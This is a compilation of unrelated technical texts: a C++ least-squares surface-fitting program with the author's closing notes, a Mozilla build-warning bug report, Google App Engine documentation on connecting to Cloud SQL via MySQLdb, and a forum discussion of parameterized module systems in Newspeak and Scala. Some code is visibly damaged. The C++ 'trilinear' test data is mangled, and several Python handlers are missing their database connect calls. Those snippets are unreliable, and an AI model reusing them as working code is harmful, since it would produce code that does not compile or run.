#include <stdio.h> #include <array> #define FILTER_ZERO_COEFFICIENTS true // if false, will show terms which have a coefficient of 0 //==================================================================== template<size_t N> using TVector = std::array<float, N>; template<size_t M, size_t N> using TMatrix = std::array<TVector<N>, M>; //==================================================================== // Specify a degree per axis. // 1 = linear, 2 = quadratic, etc template <size_t... DEGREES> class COnlineLeastSquaresFitter { public: COnlineLeastSquaresFitter () { // initialize our sums to zero std::fill(m_SummedPowers.begin(), m_SummedPowers.end(), 0.0f); std::fill(m_SummedPowersTimesValues.begin(), m_SummedPowersTimesValues.end(), 0.0f); } // Calculate how many summed powers we need. // Product of degree*2+1 for each axis. template <class T> constexpr static size_t NumSummedPowers(T degree) { return degree * 2 + 1; } template <class T, class... DEGREES> constexpr static size_t NumSummedPowers(T first, DEGREES... degrees) { return NumSummedPowers(first) * NumSummedPowers(degrees...); } // Calculate how many coefficients we have for our equation. // Product of degree+1 for each axis. template <class T> constexpr static size_t NumCoefficients(T degree) { return (degree + 1); } template <class T, class... DEGREES> constexpr static size_t NumCoefficients(T first, DEGREES... degrees) { return NumCoefficients(first) * NumCoefficients(degrees...); } // Helper function to get degree of specific axis static size_t Degree (size_t axisIndex) { static const std::array<size_t, c_dimension-1> c_degrees = { DEGREES... }; return c_degrees[axisIndex]; } // static const values static const size_t c_dimension = sizeof...(DEGREES) + 1; static const size_t c_numCoefficients = NumCoefficients(DEGREES...); static const size_t c_numSummedPowers = NumSummedPowers(DEGREES...); // Typedefs typedef TVector<c_numCoefficients> TCoefficients; typedef TVector<c_dimension> TDataPoint; // Function for converting from an index to a specific power permutation static void IndexToPowers (size_t index, std::array<size_t, c_dimension-1>& powers, size_t maxDegreeMultiply, size_t maxDegreeAdd) { for (int i = c_dimension-2; i >= 0; --i) { size_t degree = Degree(i) * maxDegreeMultiply + maxDegreeAdd; powers[i] = index % degree; index = index / degree; } } // Function for converting from a specific power permuation back into an index static size_t PowersToIndex (std::array<size_t, c_dimension - 1>& powers, size_t maxDegreeMultiply, size_t maxDegreeAdd) { size_t ret = 0; for (int i = 0; i < c_dimension - 1; ++i) { ret *= Degree(i) * maxDegreeMultiply + maxDegreeAdd; ret += powers[i]; } return ret; } // Add a datapoint to our fitting void AddDataPoint (const TDataPoint& dataPoint) { // Note: It'd be a good idea to memoize the powers and calculate them through repeated // multiplication, instead of calculating them on demand each time, using std::pow. // add the summed powers of the input values std::array<size_t, c_dimension-1> powers; for (size_t i = 0; i < m_SummedPowers.size(); ++i) { IndexToPowers(i, powers, 2, 1); float valueAdd = 1.0; for (size_t j = 0; j < c_dimension - 1; ++j) valueAdd *= (float)std::pow(dataPoint[j], powers[j]); m_SummedPowers[i] += valueAdd; } // add the summed powers of the input value, multiplied by the output value for (size_t i = 0; i < m_SummedPowersTimesValues.size(); ++i) { IndexToPowers(i, powers, 1, 1); float valueAdd = dataPoint[c_dimension - 1]; for (size_t j = 0; j < c_dimension-1; ++j) valueAdd *= (float)std::pow(dataPoint[j], powers[j]); m_SummedPowersTimesValues[i] += valueAdd; } } // Get the coefficients of the equation fit to the points bool CalculateCoefficients (TCoefficients& coefficients) const { // make the ATA matrix std::array<size_t, c_dimension - 1> powersi; std::array<size_t, c_dimension - 1> powersj; std::array<size_t, c_dimension - 1> summedPowers; TMatrix<c_numCoefficients, c_numCoefficients> ATA; for (size_t j = 0; j < c_numCoefficients; ++j) { IndexToPowers(j, powersj, 1, 1); for (size_t i = 0; i < c_numCoefficients; ++i) { IndexToPowers(i, powersi, 1, 1); for (size_t k = 0; k < c_dimension - 1; ++k) summedPowers[k] = powersi[k] + powersj[k]; size_t summedPowersIndex = PowersToIndex(summedPowers, 2, 1); ATA[j][i] = m_SummedPowers[summedPowersIndex]; } } // solve: ATA * coefficients = m_SummedPowers // for the coefficients vector, using Gaussian elimination. coefficients = m_SummedPowersTimesValues; for (size_t i = 0; i < c_numCoefficients; ++i) { for (size_t j = 0; j < c_numCoefficients; ++j) { if (ATA[i][i] == 0.0f) return false; float c = ((i == j) - ATA[j][i]) / ATA[i][i]; coefficients[j] += c*coefficients[i]; for (size_t k = 0; k < c_numCoefficients; ++k) ATA[j][k] += c*ATA[i][k]; } } // Note: this is the old, "bad" way to solve the equation using matrix inversion. // It's a worse choice for larger matrices, and surfaces and volumes use larger matrices than curves in general. /* // Inverse the ATA matrix TMatrix<c_numCoefficients, c_numCoefficients> ATAInverse; if (!InvertMatrix(ATA, ATAInverse)) return false; // calculate the coefficients for (size_t i = 0; i < c_numCoefficients; ++i) coefficients[i] = DotProduct(ATAInverse[i], m_SummedPowersTimesValues); */ return true; } private: //Storage Requirements: // Summed Powers = Product of degree*2+1 for each axis. // Summed Powers Times Values = Product of degree+1 for each axis. TVector<c_numSummedPowers> m_SummedPowers; TVector<c_numCoefficients> m_SummedPowersTimesValues; }; //==================================================================== char AxisIndexToLetter (size_t axisIndex) { // x,y,z,w,v,u,t,.... if (axisIndex < 3) return 'x' + char(axisIndex); else return 'x' + 2 - char(axisIndex); } //==================================================================== template <class T, size_t M, size_t N> float EvaluateFunction (const T& fitter, const TVector<M>& dataPoint, const TVector<N>& coefficients) { float ret = 0.0f; for (size_t i = 0; i < coefficients.size(); ++i) { // start with the coefficient float term = coefficients[i]; // then the powers of the input variables std::array<size_t, T::c_dimension - 1> powers; fitter.IndexToPowers(i, powers, 1, 1); for (size_t j = 0; j < powers.size(); ++j) term *= (float)std::pow(dataPoint[j], powers[j]); // add this term to our return value ret += term; } return ret; } //==================================================================== template <size_t... DEGREES> void DoTest (const std::initializer_list<TVector<sizeof...(DEGREES)+1>>& data) { // say what we are are going to do printf("Fitting a function of degree ("); for (size_t i = 0; i < COnlineLeastSquaresFitter<DEGREES...>::c_dimension - 1; ++i) { if (i > 0) printf(","); printf("%zi", COnlineLeastSquaresFitter<DEGREES...>::Degree(i)); } printf(") to %zi data points: \n", data.size()); // show input data points for (const COnlineLeastSquaresFitter<DEGREES...>::TDataPoint& dataPoint : data) { printf(" ("); for (size_t i = 0; i < dataPoint.size(); ++i) { if (i > 0) printf(", "); printf("%0.2f", dataPoint[i]); } printf(")\n"); } // fit data COnlineLeastSquaresFitter<DEGREES...> fitter; for (const COnlineLeastSquaresFitter<DEGREES...>::TDataPoint& dataPoint : data) fitter.AddDataPoint(dataPoint); // calculate coefficients if we can COnlineLeastSquaresFitter<DEGREES...>::TCoefficients coefficients; bool success = fitter.CalculateCoefficients(coefficients); if (!success) { printf("Could not calculate coefficients!\n\n"); return; } // print the polynomial bool firstTerm = true; printf("%c = ", AxisIndexToLetter(sizeof...(DEGREES))); bool showedATerm = false; for (int i = (int)coefficients.size() - 1; i >= 0; --i) { // don't show zero terms if (FILTER_ZERO_COEFFICIENTS && std::abs(coefficients[i]) < 0.00001f) continue; showedATerm = true; // show an add or subtract between terms float coefficient = coefficients[i]; if (firstTerm) firstTerm = false; else if (coefficient >= 0.0f) printf(" + "); else { coefficient *= -1.0f; printf(" - "); } printf("%0.2f", coefficient); std::array<size_t, COnlineLeastSquaresFitter<DEGREES...>::c_dimension - 1> powers; fitter.IndexToPowers(i, powers, 1, 1); for (size_t j = 0; j < powers.size(); ++j) { if (powers[j] > 0) printf("%c", AxisIndexToLetter(j)); if (powers[j] > 1) printf("^%zi", powers[j]); } } if (!showedATerm) printf("0"); printf("\n"); // Calculate and show R^2 value. float rSquared = 1.0f; if (data.size() > 0) { float mean = 0.0f; for (const COnlineLeastSquaresFitter<DEGREES...>::TDataPoint& dataPoint : data) mean += dataPoint[sizeof...(DEGREES)]; mean /= data.size(); float SSTot = 0.0f; float SSRes = 0.0f; for (const COnlineLeastSquaresFitter<DEGREES...>::TDataPoint& dataPoint : data) { float value = dataPoint[sizeof...(DEGREES)] - mean; SSTot += value*value; value = dataPoint[sizeof...(DEGREES)] - EvaluateFunction(fitter, dataPoint, coefficients); SSRes += value*value; } if (SSTot != 0.0f) rSquared = 1.0f - SSRes / SSTot; } printf("R^2 = %0.4f\n\n", rSquared); } //==================================================================== int main (int argc, char **argv) { // bilinear - 4 data points DoTest<1, 1>( { TVector<3>{ 0.0f, 0.0f, 5.0f }, TVector<3>{ 0.0f, 1.0f, 3.0f }, TVector<3>{ 1.0f, 0.0f, 8.0f }, TVector<3>{ 1.0f, 1.0f, 2.0f }, } ); // biquadratic - 9 data points DoTest<2, 2>( { TVector<3>{ 0.0f, 0.0f, 8.0f }, TVector<3>{ 0.0f, 1.0f, 4.0f }, TVector<3>{ 0.0f, 2.0f, 6.0f }, TVector<3>{ 1.0f, 0.0f, 5.0f }, TVector<3>{ 1.0f, 1.0f, 2.0f }, TVector<3>{ 1.0f, 2.0f, 1.0f }, TVector<3>{ 2.0f, 0.0f, 7.0f }, TVector<3>{ 2.0f, 1.0f, 9.0f }, TVector<3>{ 2.0f, 2.5f, 12.0f }, } ); // trilinear - }, } ); // trilinear - }, TVector<4>{ 0.5f, 0.5f, 0.5f, 12.0f }, } ); // Linear - 2 data points DoTest<1>( { TVector<2>{ 1.0f, 2.0f }, TVector<2>{ 2.0f, 4.0f }, } ); // Quadratic - 4 data points DoTest<2>( { TVector<2>{ 1.0f, 5.0f }, TVector<2>{ 2.0f, 16.0f }, TVector<2>{ 3.0f, 31.0f }, TVector<2>{ 4.0f, 16.0f }, } ); // Cubic - 4 data points DoTest<3>( { TVector<2>{ 1.0f, 5.0f }, TVector<2>{ 2.0f, 16.0f }, TVector<2>{ 3.0f, 31.0f }, TVector<2>{ 4.0f, 16.0f }, } ); system("pause"); return 0; }
Closing
The next logical step here for me would be to figure out how to break the equation for a surface or hypervolume up into multiple equations, like you’d have with a tensor product surface/hypervolume equation. It would also be interesting to see how to convert from these multidimensional polynomials to multidimensional Bernstein basis functions, which are otherwise known as Bezier rectangles (and Bezier hypercubes i guess).
The last post inverted the ATA matrix and multiplied by ATY to get the coefficients. Thanks to some feedback on reddit, I found out that is NOT how you want to solve this sort of equation. I ended up going with Gaussian elimination for this post which is more numerically robust while also being less computation to calculate. There are other options out there too that may be even better choices. I’ve found out that in general, if you are inverting a matrix in code, or even just using an inverted matrix that has already been given to you, you are probably doing it wrong. You can read more about that here: John D. Cook: Don’t invert that matrix.
I didn’t go over what to do if you don’t have enough data points because if you find yourself in that situation, you can either decrease the degree of one of the axes, or you could remove and axis completely if you wanted to. It’s situational and ambiguous what parameter to decrease when you don’t have enough data points to fit a specific curve or hypervolume, but it’s still possible to decay the fit to a lower degree or dimension if you hit this situation, because you will already have all the values you need in the ATA matrix values and the ATV vector. I leave that to you to decide how to handle it in your own usage cases. Something interesting to note is that ATA[0][0] is STILL the count of how many data points you have, so you can use this value to know how much you need to decay your fit to be able to handle the data set.
In the WebGL2 demo I mention, I use a finite difference method to calculate the normals of the surface, however since the surface is described by a polynomial, it’d be trivial to calculate the coefficients for the equations that described the partial derivatives of the surface for each axis and use those instead.
I also wanted to mention that in the case of surfaces and hypervolumes it’s still possible to get an imperfect fit to your data set, even though you may give the exact minimum required number of control points. The reason for this is that not all axes are necesarily created equal. If you have a surface of degree (1,2) it’s linear on the x axis, but quadratic on the y axis, and requires a minimum of 6 data points to be able to fit a data set. As you can imagine, it’s possible to give data points such that the data points ARE NOT LINEAR on the x axis. When this happens, the surface will not be a perfect fit.
Lastly, you may be wondering how to fit data sets where there is more than one output value, like an equation of the form
.
I’m not aware of any ways to least square fit that as a whole, but apparently a common practice is to fit one equation to z and another to w and treat them independently. There is a math stack exchange question about that here: Math Stack Exchange: Least square fitting multiple values
Here is the webgl demo that goes with this post again:
Least Squares Surface Fitting
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Build warning when building with g++ 4.6: { xpcom/build/nsINIParser.cpp:91:14: warning: variable ‘rv’ set but not used [-Wunused-but-set-variable] } The flagged code is: 89 nsINIParser::Init(nsILocalFile* aFile) 90 { 91 nsresult rv; [...] 99 #ifdef XP_WIN 100 nsAutoString path; 101 rv = aFile->GetPath(path); 102 NS_ENSURE_SUCCESS(rv, rv); 103 104 fd = _wfopen(path.get(), READ_BINARYMODE); 105 #else 106 nsCAutoString path; 107 rv = aFile->GetNativePath(path); 108 109 fd = fopen(path.get(), READ_BINARYMODE); 110 #endif Note that in the XP_WIN case, we *do* check rv with NS_ENSURE_SUCCESS. But in the "#else" case (e.g. on Linux), we don't check rv at all. (hence the warning) Perhaps that case needs its own NS_ENSURE_SUCCESS(rv, rv)? (Or alternately, perhaps we only need |rv| inside the XP_WIN ifdef?)
Created attachment 557021 [details] [diff] [review] Patch v1 I am getting intuition that NS_ENSURE_SUCCESS must be called for other platforms also.
Comment on attachment 557021 [details] [diff] [review] Patch v1 GetNativePath cannot fail on non-Windows, so you can remove rv entirely.
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This document describes how to use Google Cloud SQL instances with the App Engine Python SDK.
- Creating a Cloud SQL instance
- Build a starter application and database
- Connect to your database
- Using a local MySQL instance during development
- Size and access limits
- Complete MySQLdb Python example
To learn more about Google Cloud SQL, see the Google Cloud SQL documentation.
If you haven't already created a Google Cloud SQL instance, the first thing you need to do is create one.
Creating a Cloud SQL Instance
A Cloud SQL instance is equivalent to a server. A single Cloud SQL instance can contain multiple databases. Follow these steps to create a Google Cloud SQL instance:
- Create a new project, or open an existing project.
- From within a project, select Cloud SQL to open the Cloud SQL control panel for that project.
- Click New Instance to create a new Cloud SQL instance in your project, and configure your size, billing and replication options.
- More information on Cloud SQL billing options and instance sizes
- More information on Cloud SQL Hello World! chapter of the Python
Import the MySQLdb module
Google Cloud SQL supports connections using the
MySQLdb module, which is the de
facto way to connect to MySQL in Python.
MySQLdb implements
PEP 249 (the same as implemented by
the custom Google driver,
google.appengine.api.rdbms) and also provides
access to the
_mysql module which implements the MySQL C API. For more information,
see the MySQLdb User's Guide.
We recommend that you use the
MySQLdb module whenever possible.
Before you can write any Python applications with Google Cloud SQL, you need to import the
MySQLdb module by adding
import MySQLdb to your source code.
Copy and paste the following code into your
helloworld.py file.
import cgi import webapp2 from google.appengine.ext.webapp.util import run_wsgi_app import MySQLdb import os import jinja2
The webapp2 module provides an application
framework to simplify development,
the run_wsgi_app and cgi
modules provide Common Gateway Interface (CGI) support, the jinja2 module provides HTML templating, and the
os module provides access to environment variables.
Connect, post, and get from your database
In this section, we show you how to continue to modify your
helloworld.py file to connect, post, and get data from your Cloud SQL database.
In the code, replace
your-instance-name with your Google Cloud SQL instance name
and
your-project-id with the literal
project ID.
This code performs the following actions:
- The
- connects to the guestbook database and querying it for all rows in the entries table
- prints all the rows in an HTML table
- provides a web form for users to POST to the guestbook
- The
Guestbookclass:
- grabs the values of the form fields from
- connects to the guestbook database and inserting the form values
- redirects the user to back to the MainPage
You access a Cloud SQL instance by using a Unix socket with the
prefix
/cloudsql/. The code below can be used to run in both production and
on dev_appserver (using a local MySQL server).
import cgi import webapp2 from google.appengine.ext.webapp.util import run_wsgi_app import MySQLdb import os import jinja2 # Configure the Jinja2 environment. JINJA_ENVIRONMENT = jinja2.Environment( loader=jinja2.FileSystemLoader(os.path.dirname(__file__)), autoescape=True, extensions=['jinja2.ext.autoescape']) # Define your production Cloud SQL instance information. _INSTANCE_NAME = 'your-project-id:your-instance-name' class MainPage(webapp2.RequestHandler): def get(self): # Display existing guestbook entries and a form to add new entries., user='root', charset='utf8') cursor = db.cursor() cursor.execute('SELECT guestName, content, entryID FROM entries') # Create a list of guestbook entries to render with the HTML. guestlist = []; for row in cursor.fetchall(): guestlist.append(dict([('name',cgi.escape(row[0])), ('message',cgi.escape(row[1])), ('ID',row[2]) ])) variables = {'guestlist': guestlist} template = JINJA_ENVIRONMENT.get_template('main.html') self.response.write(template.render(variables)) db.close() class Guestbook(webapp2.RequestHandler): def post(self): # Handle the post to create a new guestbook entry. fname = self.request.get('fname') content = self.request.get('content'), db='guestbook', user='root', charset='utf8') cursor = db.cursor() # Note that the only format string supported is %s cursor.execute('INSERT INTO entries (guestName, content) VALUES (%s, %s)', (fname, content)) db.commit() db.close() self.redirect("/") application = webapp2.WSGIApplication([('/', MainPage), ('/sign', Guestbook)], debug=True) def main(): application = webapp2.WSGIApplication([('/', MainPage), ('/sign', Guestbook)], debug=True) run_wsgi_app(application) if __name__ == "__main__": main()
The following HTML file (
main.html) is referenced in the
system to keep the HTML and code separate.
<!DOCTYPE html> <html> <head> <title>My Guestbook!</title> </head> <body> <body> <table style="border: 1px solid black"> <tbody> <tr> <th width="35%" style="background-color: #CCFFCC; margin: 5px">Name</th> <th style="background-color: #CCFFCC; margin: 5px">Message</th> <th style="background-color: #CCFFCC; margin: 5px">ID</th> </tr> {% for guest in guestlist %} <tr> <td>{{ guest['name'] }}</td> <td>{{ guest['message'] }}</td> <td>{{ guest['ID'] }}</td> </tr> {% endfor %} </tbody> </table> <br /> No more messages! <br /><strong>Sign the guestbook!</strong> <form action="/sign" method="post"> <div>First Name: <input type="text" name="fname" style="border: 1px solid black"></div> <div>Message: <br /><textarea name="content" rows="3" cols="60"></textarea></div> <div><input type="submit" value="Sign Guestbook"></div> </form> </body> </html>
The example above connects to the Google Cloud SQL instance as the
root user but
you can connect to the instance as a specific database user with the following parameters:
db = MySQLdb.connect(unix_socket='/cloudsql/' + _INSTANCE_NAME, db='database', user='user', passwd='password', charset='utf8')
For information about creating MySQL users, see Adding Users in the MySQL documentation.
Managing connections
An App Engine application is made up of one or more modules. Each module consists of source code and configuration files. An instance instantiates the code which is included in an App Engine module, and a particular version of module will have one or more instances running. The number of instances running depends on the number of incoming requests. You can configure App Engine to scale the number of instances automatically in response to processing volume (see Instance scaling and class).
When App Engine instances talk to Google Cloud SQL, each App Engine instance cannot have more than 12 concurrent connections to a Cloud SQL instance. Always close any established connections before finishing processing a request. Not closing a connection will cause it to leak and may eventually cause new connections to fail. You can exit this state by shutting down the affected App Engine instance.
You should also keep in mind that there is also a maximum number of concurrent connections and queries for each Cloud SQL instance, depending on the tier (see Cloud SQL pricing). For guidance on managing connections, see How should I manage connections? in the "Google Cloud SQL FAQ" document.
Update your configuration file
In your
app.yaml file, you need to make a few changes. First, change the value of the
application field to the application ID of your App Engine application. Second,
enable the
MySQLdb library for your application. App Engine already
contains the MySQLdb library, you only need to make the
app.yaml addition to use it.
Finally, make sure you to load the jinja2 module.
libraries: - name: MySQLdb version: "latest" - name: jinja2 version: "latest"
That's it! Now you can deploy your application and try it out!
The Google App Engine SDK for Python doesn’t contain the MySQLdb library, so you need to install it manually if you want to use it. On Ubuntu/Debian, you can install it by running the following command:
sudo apt-get install python-mysqldb
A complete example is shown in the Complete MySQLdb Python example in
the appendix and
also at.
The example also shows how to use the low-level
MySQLdb._mysql.
Using a local MySQL instance during development
The Python Development Server in the Google App Engine SDK can use a locally-installed MySQL server instance to closely mirror the Google Cloud SQL environment during development.
Install MySQL
Visit MySQL.com to download the MySQL Community Server. Linux users with
apt-get can run:
sudo apt-get install mysql-server
You must also install the MySQLdb library. Linux users on a distribution with apt-get can run:
sudo apt-get install python-mysqldb
Run your application on the development server
Before you can connect, create a user and a database in your local instance if these weren't created during installation. See the MySQL Reference Manual for more information.
When you're ready to run your application on the Python Development Server, use the
dev_appserver.py command. For example:
dev_appserver.py myapp
If you want to run your local MySQL server on a different host, pass the
--mysql_host and
--mysql_port flags, and, optionally, the
--mysql_socket flag.
Size and access limits
The following limits apply to Google Cloud SQL:
Instance Connections
- Each tier allows for maximum concurrent connections and queries. For more information, see the pricing page.
- There is a limit of 100 pending connections independent of tier.
- Establishing a connection takes about 1.25 ms on the server side. Given the 100 pending connection limit, this means a maximum of 800 connections per second. If more than 100 clients try to connect simultaneously, some of them will fail.
These limits are in place to protect against accidents and abuse. For questions about increasing these values, contact the cloud-sql@google.com team.
Instance Size
The size of all instances is limited to 250GB by default. Note that you only pay for the storage that you use, so you don’t need to reserve this storage in advance. If you require more storage, up to 500GB, then it is possible to increase limits for individual instances for customers with a silver Google Cloud support package.
Google App Engine Limits
Requests from Google App Engine applications to Google Cloud SQL are subject to the following time and connection limits:
- All database requests must finish within the HTTP request timer, around 60 seconds.
- Offline requests like cron tasks have a time limit of 10 minutes.
- Requests from App Engine modules to Google Cloud SQL are subject to the type of module scaling and instance residence time in memory.
- Each App Engine instance cannot have more than 12 concurrent connections to a Google Cloud SQL instance.
Google App Engine applications are also subject to additional Google App Engine quotas and limits as discussed on the Quotas page.
Complete MySQLdb Python example
This example includes three files:
app.py- connects to a Cloud SQL instance and runs the
SHOW VARIABLEScommand.
app_mysql.py- does the same thing as
app.pybut uses the lower level _mysql interface.
app.yaml- defines the App Engine Python application.
app.py
import MySQLdb import os import webapp2 class IndexPage') cursor = db.cursor() cursor.execute('SHOW VARIABLES') for r in cursor.fetchall(): self.response.write('%s\n' % str(r)) db.close() app = webapp2.WSGIApplication([ ('/', IndexPage), ])
app_mysql.py
import MySQLdb import _mysql import os import webapp2 class Page') db.query('SHOW VARIABLES') result = db.store_result() while True: row = result.fetch_row() if row: self.response.write('%s\n' % str(row[0])) else: break db.close() app = webapp2.WSGIApplication([ ('/mysql', Page), ])
app.yaml
application: your-app-id version: 1 runtime: python27 api_version: 1 threadsafe: yes handlers: - url: / script:app.app - url: /mysql script: app_mysql.app libraries: - name: MySQLdb version: "latest" | https://cloud.google.com/appengine/docs/python/cloud-sql/ | CC-MAIN-2015-35 | refinedweb | 1,878 | 56.96 |
Mathematics oriented SVG creation
Project description
mathsvg
A Python library to draw mathematical objects. Create figures and diagrams and save them as SVG files.
The complete documentation is available at:. The sources are hosted on GitHub:.
Programs such as Inkscape are great for creating vector graphics. But Inkscape is made more for designer rather than for mathematicians. The process of doing mathematical diagrams and illustrations using Inkscape can sometimes be quite frustrating. Making a python script to produce the content of an SVG file can be a faster solution.
The role of mathsvg is to help with the process of producing your own SVG diagrams using Python scripts. For that purpose a class SvgImage is defined which contains many usefull routines that simplify the creation of mathematical figures with precise descriptions.
Once the mathsvg package and all its dependencies are installed it can be used as a normal Python package.
Here is an example for the creation of a very simple image:
import mathsvg image = mathsvg . SvgImage (pixel_density = 100, view_window = (( -1, -1 ), ( 1, 1 ))) image . draw_circle ([0, 0], 1.1) image . save ("simple-example.svg")
The above program does the following.
After importing the package mathsvg, a SvgImage object is created. The parameters of the constructors are the pixel density (number of pixel per unit of length) and the view window which selects the part of the plane that will be rendered in the image. The coordinates of mathematical objects will be automatically be converted into coordinates on the SVG canvas.
A circle with center (0, 0) and radius 1.1 is drawn using the default drawing options (black solid stroke). Some points of the circle won't appear in the image since they are outside the canvas.
Finally the image is saved in a file with the name "simple-example.svg".
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Download the file for your platform. If you're not sure which to choose, learn more about installing packages. | https://pypi.org/project/mathsvg/ | CC-MAIN-2020-24 | refinedweb | 331 | 57.77 |
JavaScript file folder asset
The JS file folder asset lets you create a folder of JS file assets that you can merge, minify, and serve as a single, packaged file.
Once created, you can configure the settings of the JS file folder on its associated asset screens. These screens are often the same as (or similar to) those for a standard page. Read the Asset screens documentation for more information about the different common screens in this asset.
This chapter describes the Details screen, which is different for a JS file folder.
Details screen
The Details screen for a JS file folder lets you configure the general settings of the asset and link associate JS file assets.
Read the Asset details screen documentation for general information about the status, future status, and thumbnail sections of this screen.
The details section of the Details screen lets you configure the JS file folder asset’s general settings.
The fields available in this section are as follows:
- Title
The friendly name for the JS file folder. By default, this will be the title that was specified when the JS file folder was created.
To change the title:
Enter a new value in this field.
Click Save.
- File name
The name of the JS file folder. By default, this will be the title that was specified when the asset was first created. It includes the file extension.
To change the name of the file:
Enter a new value in this field.
Click Save.
- Last updated
The date that the contents of the JS file folder were last updated (when the merged file was last regenerated).
- Allow unrestricted access
The default setting of this field is
Yes.
Matrix will use different URL styles depending various settings.
The following table shows some combinations:
Linked files
You can select the associated JS file and JS design file assets the JS file folder asset in the linking section of the Details screen.
In the linked files field, select the JS file assets to link to the JS file folder.
To select additional JS files and JS design file assets:
Click the More… button.
Selected more JS files.
Click Save.
You can use the keyword replacement
%asset_file_list% to print the content of the JS file folder’s linked file.
This keyword can also be used in a global context with the following format:
%globals_asset_file_list:[ASSETID]%.
Minification
The minification settings of the Details screen allow you to determine how the linked JS file and JS design file assets are merged and whether or not the code will be minified.
The fields available are as follows:
- Compiler
Select the compiler to use for the merging and minification of linked JS file assets.
The options available include:
- Merge without minification
The linked JS file assets will be merged without minification.
- Basic minification
The linked JS file and JS design file assets will be merged using basic minification.
- Closure compiler
This option uses the Closure Compiler tool to merge and minify the linked JS File assets. The Closure Compiler tool must first be configured within thescreen for this option to work.
- Closure compiler - create source map
This option uses the Closure Compiler tool to merge and minify the linked JS file assets, while also creating an associated JavaScript Source Map file.
- Auto regenerate file
This field lets you specify whether the JS file folder’s merged file will be automatically regenerated when any of the linked files are modified.
- Regenerate file
This field lets you regenerate the JS file folder’s merged file manually. For example, if the content of a linked JS file asset has been modified.
To regenerate the JS file folder’s merged file:
Select this checkbox.
Click Save.
JavaScript source maps
If you are using the Closure compiler - create source map option in the JS file folder’s minification settings, a JavaScript source map will be created for the merged/minified content. You can view this content on the source map files screen.
This source map is used to retrieve information on the individual JS files associated with the JS file folder. When you first create a JS file folder asset or are not using the Closure compiler - create source map option, the source maps screen will be empty:
When the Closure compiler - create source map option has been used, the source map file section of the source map files screen will display the content of the source map file. The associated JS file content will be displayed in the source JS files section.
When a JS file folder has generated a source map file, you can use your browser’s developer tools to parse the source map and view the asset’s JS file content.
Example
The following example shows merging two JS Files using the Closure Compiler minification tool on the JS File Folder asset.
/** * Function to return average of two number * * @param int a * @param int b */function average(a,b) { return (a+b)/2; }//end average()
/** * Function to print current date * */function showDate() { var d = new Date(); alert(d.getDate()); }//end showDate()
function average(a,b){return(a+b)/2};function showDate(){alert((new Date).getDate())}; //# sourceMappingURL=js_file_folder.min.js.map | https://docs.squiz.net/matrix/version/latest/features/files-assets/javascript-file-folder-asset.html | CC-MAIN-2021-31 | refinedweb | 866 | 60.65 |
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I am designing a module system for Heron.:
In my experience with modules systems in Turbo Pascal / Delphi the biggest practical problem I faced with reusing modules was that they were hard to reuse generically. Ideally I wanted a way to pass arguments to a module when it is loaded, so that I could configure it. This seems to be one of the benefits offered by the Newspeak module system.
I believe this is what other people are talking about when they refer to parameterized modules, correct? Would simply having the ability to parameterize modules, make an improvement to simple module systems like those found in Python?
Some related links that I have been studying:
Scala supports modules as objects and instantiated classes. It actually works out pretty well to use classes as parametrized modules because they support a lot of module-like behavior in a typeful language; e.g.,
Disadvantage: you can't link modules in cycles very easily using class instantiation (unless you use a var, but you lose type advantages) as you can with units (either PLT units or Jiazzi). It sounds like you are dealing with an untyped world so most of the above issues beyond initialization don't apply.
Thanks Sean for pointing this out. This is a good bridge to what I want. I really didn't know anything about the Scala module system.
Unfortunately I need to look up the difference between class instance and object, because in the weird little corner of the programming world I live in, they are the same thing. ;-)
Weird thing is, that Scala itself seems to be unsure about the difference as well:
scala> object HelloWorld {
| def main(args: Array[String]) {
| println("Hello, world!")
| }
| }
defined module HelloWorld
In Scala, object and module are the same thing within the compiler implementation. The way I think about it is that modules in Scala can be accessed from any stable value, where stable means the value is immutable with a complete type. So essentially, modules in Scala are first-class values with a few restrictions on how they are referenced.
It actually gets better: packages in Scala are stable values although you can't use these values at run time. You can "import" definitions from a module/value at any level in your code, so:
class C { def d() = "hello" }
val c = new C
import c._
d()
works. Its actually quite elegant once you get used to it.
can be used at run-time in Scala 2.8, via the "package object" construct.
Modules can be linked in cycles as of Scala 2.6, using lazy vals. With those, cross-module linkages aren't evaluated until first use. This does make initialization order more difficult to reason about, but often it simply does the right thing.
Other advantages: If you declare all your module's dependencies as either abstract values (for single dependencies) or self-types (for related groups of dependencies), then completeness of dependency provision becomes statically checkable. If you miss providing a dependency, your code simply won't compile. It's a lovely, "scale-free" way to structure applications, once you master a few simple tricks. The best resource for understanding Scala's objects as modules is the original paper on it: .
Useful information thanks. Funny thing was that I learned a fair amount of Scala a few years ago, but I didn't fully grasp what they were getting at with this paper back then. I thought they were just saying that traits and mixins are great. Now I can see that there is more subtlety to it that that
The part that I don't know, and maybe rereading the paper will help, but maybe you can also help me, are what are the "few simple tricks" needed to make the system work well.
The first trick is simply to be able to think of modules as something that can be abstracted. Not a big stretch for the LtU crowd, but it can be an aha! experience for a lot of programmers.
After that
val app = new Object with WebModule with DaoModule with ProductionDbModule with Log4jLogging with Monitoring
This is all very sexy, and gets even more sexy when combined with run-time module systems like OSGi.
Thank you very much David, this is very enlightening. I did have an "aha moment" reading your post, here:
A lot of stuff that usually has to be re-implemented at the module level for two-level languages comes free when your module language is your object language.
This helped me realize two things:
This now brings me to the point, where I need to be sure that I understand all of the implications. I am used to languages where modules have static global mutable data. Like in Python, where if a module is included by two other modules, they share any data members of the modules. As a programmer, this is convenient sometimes, but can cause a lot of problems in scalability..
When trying to understand this, I often think of the stdin and stdout streams in C. They are implemented as global data. If I redirect them it has global repercussions. So in a new language, I may want something like this encapsulated in a module. Now in a Python like module system, they are still just global data. Any module that redirects them affects all other modules, which can lead to disastrous effect if different modules try to redirect them as well.
Now from what I understand about the Newspeak/Scala approach is that I can put these as data members of a module, and then pass the module explicitly to other modules who want to use them. Otherwise, a module may instantiate the IO module explicitly, and get the default mappings, and never get overridden by another module.
Am I making sense, and describing things accurately here?
In Scala an "object" declared at top level is a "singleton" that is visible everywhere. In that sense a top level object in Scala is exactly like the more common notions of module that are just namespacing plus a bit of implementation hiding. Scala might have more sophisticated ways to compose modules but in the end Scala's top level objects are free to have shared mutable variables, IO services, etc. just like a Python module.
Newspeak, on the other hand, is trying much harder to eliminate the kind of ambient authority created by globally accessible variables and services..
Right. For both Scala and Newspeak, modules are objects, and need to be instantiated. As for sharing needing to be done explicitly,
this is the case in Newspeak, as far as I understand it. Scala does allow for top-level shared state, if you declare a top-level "object" with mutable state. That's probably a bad design choice for your application, but is how call-out to third-party shared-state dependencies is sometimes done. I don't know how Newspeak does this, since this sort of hack (and I agree, it is a hack) is specifically against Newspeak design principles.
